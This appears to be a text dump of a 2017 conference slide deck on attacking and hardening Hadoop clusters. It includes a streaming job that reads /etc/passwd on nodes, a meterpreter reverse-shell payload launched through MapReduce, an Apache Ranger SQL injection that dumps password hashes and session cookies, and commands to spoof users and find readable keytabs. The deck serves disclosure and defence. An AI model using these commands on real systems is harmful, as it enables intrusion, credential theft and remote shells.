    Hadoop safari :Hunting for vulnerabilities PHDays VII - 2017 – May, 23rd Mahdi BRAIK mahdi.braik@wavestone.com Thomas DEBIZE thomas.debize@wavestone.com
  • 2.
    © WAVESTONE 2 Whoare we ? Basically infosec auditors and incident responders / Piano, rugby player, cooking / CTF challenger Mehdi "Big" BRAIK / Guitar, riding, volley-ball / Git pushing infosec tools › https://github.com/maaaaz Thomas "Data" DEBIZE
  • 3.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
  • 4.
    Hadoop and itssecurity model 1. Overview / 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
  • 5.
    © WAVESTONE 5 Hadoopand Big Data environments overview "Hadoop is an open-source framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models" Distributed processing Hadoop distributed processing is mostly based on the MapReduce algorithm, originally described in 2004 by two Google engineers in order to sort and index Web pages Simple programming models "Users specify a map function that processes a key/value pair… …to generate a set of intermediate key/value pairs… …and a reduce function that merges all intermediate values associated with the same intermediate key" Hadoop MapReduce Fundamentals@LynnLangita
  • 6.
    © WAVESTONE 6 Hadoopand Big Data environments overview "Hadoop is an open-source framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models" Open-source Although Hadoop is completely open-source and free, Hadoop environments are gathered around « distributions », the 3 current main distributions are the following Cloudera Hortonworks MapR A common point : the use of the "Hadoop Core" framework as a base of data storage and processing
  • 7.
    © WAVESTONE 7 Whata real Big Data environment looks like KNOX Ranger Sentry Record Service Kafka Morphlines Solr MapReduce Impala HCatalog Mahout Pig Hive Lucene ElasticSearch Sqoop Chukwa RabbitMQ DistCp Spark Hbase / Phoenix / Cassandra / Accumulo / MongoDB / Riak Drill Cloudera Manager / Ambari / MapR Control System / BigInsight / Mesos + Myriad HDFS YARN Lily Flume Flink Oozie Jupyter (iPython Notebook) / Hue / Tableau / SAS / Platfora / Splunk / Dataiku / Datameer / RHadoop Storm ZooKeeperFalcon Tez HAWQ Storage Processing ConsultationIndexationAcquisition Administration Security (infrastructure and uses) D A T A L I F E C Y C L E I N T H E P L A T F O R M CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAMRAM Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk DiskDisk
  • 8.
    © WAVESTONE 8 Storage Inthe Hadoop paradigm, every data is stored in the form of a file divided in multiple parts (by default, 128 MB per part) replicated in multiple points 2 types of nodes are present in a cluster: / Some DataNodes, storing actual file parts on the Hadoop Distributed File System / A single active NameNode, storing a mapping list of file parts and their DataNode location Hadoop Core under the hood MapReduce HDFS YARN HDFS Processing 2 components are at the heart of job processing: / MapRed, being the job distribution algorithm on the cluster / YARN (Yet Another Resource Negotiator), being the task scheduler on the cluster YARN MapReduce HadoopConceptsNote
  • 9.
    © WAVESTONE 9 "Okaycool story but who uses Hadoop anyway ?" http://wiki.apache.org/hadoop/PoweredBy
  • 10.
    Hadoop and itssecurity model 2. Security model / 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
  • 11.
    © WAVESTONE 11 Hadoopsecurity model - Authentication By default, no authentication mechanism is enforced on an Hadoop cluster… …or rather, the « simple » authentication mode is used http://www.cloudera.com/content/www/en-us/documentation/enterprise/latest/topics/sg_auth_overview.html « Simple » authentication == Identification == You can be whatever service or whoever human you want on the cluster https://hadoop.apache.org/docs/r2.7.2/hadoop-project-dist/hadoop-common/SecureMode.html Mitigation: deploy the sole proper authentication mechanism provided by Hadoop, Kerberos https://github.com/steveloughran/kerberos_and_hadoop
  • 12.
    © WAVESTONE 12 Hadoopsecurity model - Authorization and Auditing Every single component of the cluster has its own authorization model, hence adding some serious complexity for defenders HDFS HDFS supports POSIX permissions (ugo), without any notion of executable file or setuid/setgid Since Hadoop 2.5, HDFS also supports POSIX ACLs allowing finer-grained access control with the use of extended attributes https://www.cloudera.com/documentation/enterprise/5-3-x/topics/cdh_sg_hdfs_ext_acls.html Hive Hive, the Hadoop SQL RDBMS, supports fine- grained ACLs for SQL verbs Some third-party components have to be deployed to centrally manage policies and audit traces: / Apache Ranger…which is currently only packaged for Hortonworks clusters / Sentry or RecordService for Cloudera clusters
  • 13.
    © WAVESTONE 13 Hadoopsecurity model – Data protection – In-transit Communications with the NameNode An RPC scheme is used on top of a Simple Authentication & Security Layer (SASL) mechanism which can use: / Generic Security Services (GSS-API), for Kerberos connections / DIGEST-MD5, when using Delegation Tokens (e.g. sending a job to NodeManager) 3 levels of RPC protection: / Authentication only / Integrity: authentication + integrity / Privacy: full data encryption By default, no encryption is applied on data « in-transit » (flow) and « at-rest » (cold storage)… …but encryption is natively available and can be enabled after validating one prerequisite: Kerberos Communications with Web apps Standard SSL/TLS is natively offered and has to be enabled Communications with DataNodes The DataTransferProtocol (DTP) can be encrypted at 2 levels: / Key exchange: 3DES or RC4… / Data encryption: AES 128/192/256 (default 128 bits) DTP authentication is achieved through SASL encapsulation https://hadoop.apache.org/docs/r2.4.1/hadoop-project- dist/hadoop-common/SecureMode.html
  • 14.
    © WAVESTONE 14 Hadoopsecurity model – Data protection – At-rest By default, no encryption is applied on data « in-transit » (flow) and « at-rest » (cold storage)… …but encryption is natively available and can be enabled after validating one prerequisite: Kerberos At-rest From Hadoop 2.6 the HDFS transparent encryption mechanism is available: / 1. An "encryption zone" has to be defined to encrypt data in a directory, protected by an "encryption zone key" (EZ key) / 2. Each file to be stored in that directory is encrypted with a "Data Encryption Key" (DEK) / 3. The DEK is encrypted by the EZ key…forming an "Encrypted Data Encryption Key" (EDEK) A user requests EDEK at NameNode, asks a Key Management Server (KMS) to decrypt it in order to have the DEK, to finally encrypt and upload it on the datalake http://blog.cloudera.com/blog/2015/01/new-in-cdh-5-3-transparent- encryption-in-hdfs/ The security boundary of that cryptosystem relies on ACLs on the KMS, to check if a user presenting an EDEK is allowed to access the encryption zone
  • 15.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster 1. Mapping the attack surface / 02 Taking a step back/ 03
  • 16.
    © WAVESTONE 16 Howto pwn an Hadoop cluster – Mapping the attack surface Commonly on the NameNode -- HDFS TCP / 8020: HDFS metadata $ hadoop fs -ls /tmp HTTP / 50070 (50470): HDFS NameNode WebUI $ HDFS WebUI explorer at /explorer.html $ Redirecting actual data access to DataNode on port 50075 HTTP / 50090: Secondary NameNode WebUI $ Fewer stuff than the primary on TCP / 50070 -- YARN / MapReduce v2 TCP / 8030-3: YARN job submission HTTP / 8088 (8090): YARN ResourceManager WebUI HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI -- old stuff : MapReduce v1 -- TCP / 8021: MapReduce v1 job submission HTTP / 50030: MapReduce v1 JobTracker Commonly on each DataNode -- HDFS TCP / 50010: HDFS data transfer $ hadoop fs -put <localfile> <remotedst> TCP / 50020: HDFS IPC internal metadata HTTP/ 50075 (50475): HDFS DataNode WebUI $ HDFS WebUI explorer at /browseDirectory.jsp -- YARN / MapReduce v2 HTTP / 8042 (8044): YARN NodeManager WebUI $ To track jobs -- old stuff : MapReduce v1 -- HTTP / 50060: MapReduce v1 TaskTracker * Ports in parentheses are serving content over SSL/TLS Interesting third-party module services HTTP / 14000: HTTPFS WebHDFS HTTP / 7180 (7183): Cloudera Manager HTTP / 8080: Apache Ambari HTTP / 6080: Apache Ranger HTTP / 8888: Cloudera HUE HTTP / 11000: Oozie Web Console
  • 17.
    © WAVESTONE 17 Howto pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 50070 (50470): HDFS NameNode WebUI DataNode HTTP/ 50075 (50475): HDFS DataNode WebUI
  • 18.
    © WAVESTONE 18 Howto pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 8088 (8090): YARN ResourceManager WebUI Datanode HTTP / 8042 (8044): YARN NodeManager WebUI
  • 19.
    © WAVESTONE 19 Howto pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI NameNode HTTP / 50030: MapReduce v1 JobTracker DataNode HTTP / 50060: MapReduce v1 TaskTracker
  • 20.
    © WAVESTONE 20 Howto pwn an Hadoop cluster – Mapping the attack surface Nmap used to have some limited fingerprinting scripts until a recent commit (early march 2017) added some probes for the "http-enum" script, now detecting these components $ nmap -sV --script=http-enum -p- 192.168.11.150 PORT STATE SERVICE 6080/tcp open http | http-enum: |_ /login.jsp: Apache Ranger WebUI 8042/tcp open http | http-enum: |_ /node: Hadoop YARN Node Manager version 2.7.1.2.4.0.0-169, Hadoop version 2.7.1.2.4.0.0-169 8080/tcp open http | http-enum: |_ /: Apache Ambari WebUI 8088/tcp open http | http-enum: |_ /cluster/cluster: Hadoop YARN Resource Manager version 2.7.1.2.4.0.0-169, state "started", Hadoop version 2.7.1.2.4.0.0-169 19888/tcp open http | http-enum: |_ /jobhistory: Hadoop MapReduce JobHistory WebUI / Apache Ambari / Apache Oozie / Apache Ranger / Cloudera HUE / Cloudera Manager / Hadoop MapReduce v2 / Hadoop YARN Node Manager and Resource Manager Other NSE scripts do give some information about HBase (hbase-{master,region}-info.nse) and Flume (flume-master-info.nse)
  • 21.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster 2. Surfing the datalake / 02 Taking a step back/ 03
  • 22.
    © WAVESTONE 22 Howto pwn an Hadoop cluster – Surfing the datalake What does a Big Data attacker want ? DATA ! How would he like to access it ? THROUGH A BROWSER ! WebHDFS WebHDFS offers REST API to access data on the HDFS datalake Where can I see some WebHDFS services ? / On the native HDFS DataNode WebUI: port 50075 / On the HTTPFS module: port 14000 Ok and now what if the cluster only enforces "simple" authentication ? You can access any stored data by using the "user.name" parameter.  That’s not a bug, that’s an authentication feature One protocol to rule them all…
  • 23.
    © WAVESTONE 23 Howto pwn an Hadoop cluster – Surfing the datalake Demo time Being able to have an complete listing of the datalake resources is crucial to attackers, in order to harvest interesting data So we developed a tool, HDFSBrowser, doing that job through multiple methods and that can produce a convenient CSV output
  • 24.
    © WAVESTONE 24 Howto pwn an Hadoop cluster – Surfing the datalake What does a Big Data attacker want ? DATA ! How would he like to access it ? With the Hadoop client CLI ! How can I specify an arbitrary desired username through CLI ? $ export HADOOP_USER_NAME=<your desired user>
  • 25.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster 3. RCEing on nodes / 02 Taking a step back/ 03
  • 26.
    © WAVESTONE 26 Howto pwn an Hadoop cluster – RCEing on nodes Remember, Hadoop is a framework for distributed processing…it basically distributes task to execute With simple authentication and without proper network filtering of exposed services, one can freely execute commands on cluster nodes with MapReduce jobs What if I don’t want to go through the hassle of writing proper MapReduce Java code ? "Hadoop streaming is a utility that comes with the Hadoop distribution. The utility allows you to create and run MapReduce jobs with any executable or script as the mapper and/or the reducer" 1. $ hadoop jar <path_to_hadoop_streaming.jar> -input /non_empty_file_on_HDFS -output /output_directory_on_HDFS -mapper "/bin/cat /etc/passwd" -reducer NONE 2. $ hadoop fs –ls /output_directory_on_HDFS 3. $ hadoop fs –cat /output_directory_on_HDFS/part-00000 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin This launches a MapReduce job This checks for the job result This retrieves the job result
  • 27.
    © WAVESTONE 27 Howto pwn an Hadoop cluster – RCEing on nodes Being able to execute bulk commands across the cluster is crucial to attackers, in order to harvest interesting data and pivot into the infrastructure Apart from executing single commands, using a meterpreter is possible and will offer session handling and pivoting easiness 1. $ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload 2. msf> use exploit/multi/handler ; set payload linux/x86/meterpreter/reverse_tcp ; exploit 3. $ hadoop jar <path_to_hadoop_streaming.jar> -input /non_empty_file_on_HDFS -output /output_directory_on_HDFS -mapper "./msf.payload" -reducer NONE -file msf.payload -background This uploads a local file to HDFS This starts the job without waiting for its completion
  • 28.
    © WAVESTONE 28 Howto pwn an Hadoop cluster – RCEing on nodes
  • 29.
    © WAVESTONE 29 Howto pwn an Hadoop cluster – RCEing on nodes Limitations Due to the distributed nature of a MapReduce job, it is not possible to specify on which node you want to execute your payload Prerequisites This methods requires a working and complete cluster configuration on client-side (attacker side), there are several methods to grab the target cluster configuration Request "/conf" on most of native WebUI: / HDFS WebUI / JobHistory / ResourceManager / … Exploit vulnerabilities on third-party administration Web interfaces: / Unauthenticated configuration download on Cloudera Manager http://<cloudera_mgr_IP>:7180/cmf/services/<service_id_to_iterate> /client-config A B
  • 30.
    © WAVESTONE 30 Howto pwn an Hadoop cluster – RCEing on nodes Limitations Due to the distributed nature of a MapReduce job, it is not possible to specify on which node you want to execute your payload Prerequisites We developed a simple script "HadoopSnooper" to retrieve a minimum configuration for interacting with a remote Hadoop cluster
  • 31.
    © WAVESTONE 31 Howto pwn an Hadoop cluster – RCEing on nodes "Ok cool but come on, who exposes such services anyway ?"
  • 32.
    © WAVESTONE 32 Howto pwn an Hadoop cluster – RCEing on nodes "Ok cool but come on, who’s interested in attacking Hadoop stuff ?"
  • 33.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster 4. Exploiting 3rd party modules / 02 Taking a step back/ 03
  • 34.
    © WAVESTONE 34 Howto pwn an Hadoop cluster – Exploiting 3rd party modules AAA module - Apache Ranger =< 0.5.2 Authenticated SQL injection (CVE-2016-2174) GET http://<apache_ranger_IP>:6080/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1 2 interesting post-exploit operations / Dump user credentials…but passwords are hashed in MD5 (SHA512 in newer versions) > select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3 : [*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN [*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN [*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958,ROLE_KEY_ADMIN / or better…dump user session cookies and reuse them ! > select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3 : [*] 2016-05-08 13:30:11, admin, DEC6C0A899BB2E8793ABA9077311D8E6 [*] 2016-05-08 13:04:15, stduser, CD4142620CB7ED4186274D53B8E0D59E [*] 2016-05-08 13:01:26, rangerusersync, D84D98B58FC0F9554A4CABF3E205A5E8N
  • 35.
    © WAVESTONE 35 Howto pwn an Hadoop cluster – Exploiting 3rd party modules Data visualisation module - Cloudera HUE =< `/usr/bin/date` Most of the time, an edge node is deployed for datascientists and accessed through SSH to be able to interact with the Hadoop cluster. Most of the time, the data visualisation Web application Cloudera HUE is deployed on the edge node. 1. The hue.ini configuration file is by default accessible to anyone with the other permission set to read Several account credentials can be found in that configuration file such as : / The HUE database credentials / Various service account credentials (LDAP, SMTP, Kerberos etc.) Under these conditions, a neat attack scenario taking advantages of two <still unfixed> Cloudera HUE vulnerabilities can be followed and lead to HUE user session cookie stealing, hence allowing spoofing a user across the entire cluster launching arbitary jobs and browsing the datalake 1
  • 36.
    © WAVESTONE 36 Howto pwn an Hadoop cluster – Exploiting 3rd party modules Data visualisation module - Cloudera HUE =< `/usr/bin/date` 1. Hue user session cookies are stored in the database / It seems to be a default setting on Python Django databases… Cookies are stored in the django_session table: / session_key is the cookie / session_data holds the user id with some other information encoded in base64 2 Mitigation : unset the read for other permission on the hue.ini (at your own risk!)… …and do not deploy Cloudera Hue on an edge node or on a node accessible by non- database admins Neither Cloudera officially answered on these vulnerabilities… nor fixed them
  • 37.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster 5. Exploiting keytabs misuse / 02 Taking a step back/ 03
  • 38.
    © WAVESTONE 38 Howto pwn an Hadoop cluster – Exploiting keytabs misuse Last but not least, our most 1337 attack to get some illegitimate access is… In real life, it gives you that kind of results, mostly in /home/ directories (local and HDFS) Mitigation : prevent potential permission misuse from users by not making them UNIX owner of their "home" directory, and use POSIX ACL (setfacl) to grant them read/write/execute… …and tell people a Kerberos keytab is *like* a password file. No read for other! $ find / -iname "*.keytab" -perm -o+r 2> /dev/null
  • 39.
    © WAVESTONE 39 Howto pwn an Hadoop cluster So you also want to start hunting for vulnerabilities ? Use a pre-packaged Hadoop environment in a single virtual machine Cloudera Hortonworks MapR Cloudera Quickstart HDP Sandbox MapR Sandbox All of our presented tools and resources are published on https://github.com/wavestone-cdt/hadoop-attack-library
  • 40.
    Hadoop and itssecurity model/ 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
  • 41.
    © WAVESTONE 41 Takinga step back – Security maturity of the Big Data ecosystem A technology not built upon security / A lot of insecurity by default: › "Simple authentication" › No encryption A fragmented ecosystem / Security solutions availability may depends of distribution An immaturity in secure development / A lot of classic vulnerabilities….even for security modules A complex operational security / Fast pace of module versions…but low frequency of patch release from distributors › HDP 2.4 (march 2016) shipping Apache Ranger 0.5.0 (june 2015) / Users do misuse Kerberos keytabs and grant them read for other permissions
  • 42.
    © WAVESTONE 42 Takinga step back – Wise recommendations Kerberize your cluster Reduce service exposition Don’t give free shells Harden components & try to keep up to date with technologies Don’t deploy applications on Edge nodes Prevent & detect permissions misuse on Kerberos keytabs
  • 43.